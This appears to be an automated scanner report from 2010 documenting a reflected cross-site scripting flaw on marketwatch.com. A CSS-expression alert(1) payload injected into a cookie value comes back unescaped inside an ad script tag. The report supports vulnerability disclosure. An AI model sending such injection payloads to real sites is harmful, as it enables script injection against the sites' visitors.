User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __g_u=271707864499207_3_0.01_0_5_1291071928177; s_vnum=1291651124299%26vn%3D4; BIZO=biz=1080&biz=1040&biz=1027&; mw5_prefs=mox=False&exp=11/23/2012; __g_c=w%3A1%7Cb%3A3%7Cc%3A271707864499207%7Cd%3A3%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; s_cc=true; s_invisit=true; s_sq=%5B%5BB%5D%5D; rsi_csl=lLlAli; rsi_segs=G07608_10012|G07608_10001|G07608_10035a575a"style%3d"x%3aexpression(alert(1))"28bf8957c18; refresh=on

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNetMvc-Version: 1.0
X-AspNet-Version: 2.0.50727
Set-Cookie: mw5_prefs=mox=False&exp=11/24/2012; domain=.marketwatch.com; expires=Sat, 24-Nov-2012 06:00:00 GMT; path=/
Set-Cookie: mw5_ads=seen=16; domain=.marketwatch.com; expires=Thu, 25-Nov-2010 05:59:59 GMT; path=/
X-Powered-By: ASP.NET
X-MACHINE: sbkdedtwebp02
Date: Thu, 25 Nov 2010 01:02:29 GMT
Content-Length: 255561

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="htt
...[SNIP]...
<script src="http://ad.doubleclick.net/adj/marketwatch.com/frontpage;s=8_10012;s=8_10001;s=8_10035a575a"style="x:expression(alert(1))"28bf8957c18;u=%5e%5elLlAli;dist=freedjsiteslinkfc842"style="x:expression(alert(1))"e4505de99de;biz=1080;biz=1040;biz=1027;sz=300x250,336x280;tile=6;ord=1882435592?" type="text/javascript">
...[SNIP]...

Report generated by XSS.CX at Thu Nov 25 10:08:50 CST 2010.